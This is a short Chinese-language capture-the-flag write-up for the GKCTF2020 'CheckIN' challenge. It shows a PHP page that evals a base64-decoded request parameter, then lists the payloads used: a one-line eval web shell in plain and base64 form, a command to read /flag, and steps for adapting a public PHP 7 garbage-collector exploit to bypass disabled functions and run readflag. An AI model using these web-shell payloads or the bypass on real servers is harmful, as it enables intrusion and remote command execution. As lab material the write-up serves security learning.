[GKCTF2020]CheckIN
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
base64编码后传参给Ginkgo,然后eval执行
?Ginkgo=phpinfo();
?Ginkgo=cGhwaW5mbygpOw==
?Ginkgo=eval($_POST[shell]);
?Ginkgo=ZXZhbCgkX1BPU1Rbc2hlbGxdKTs=
post: shell=system(cat /flag);
没有回显啊,看了一下phpinfo,里面过滤了一大堆命令执行的函数,那就只能一句话木马了
?Ginkgo=eval($_POST[shell]);
?Ginkgo=ZXZhbCgkX1BPU1Rbc2hlbGxdKTs=
有个flag和readflag,一个打不开一个是乱码
readflag的权限是6755,可以猜测是让我们用它来读flag,但是我们权限不够
看了wp才知道php版本为7.3,这个版本有一个漏洞
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3
给出了exp
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
下载后进行修改,改为执行readflag
tmp的权限是1777,所以文件传到tmp目录下,从tmp目录去独取flag
?Ginkgo=eval($_POST[shell]);
?Ginkgo=ZXZhbCgkX1BPU1Rbc2hlbGxdKTs=
post:shell=include('/tmp/exploits.php');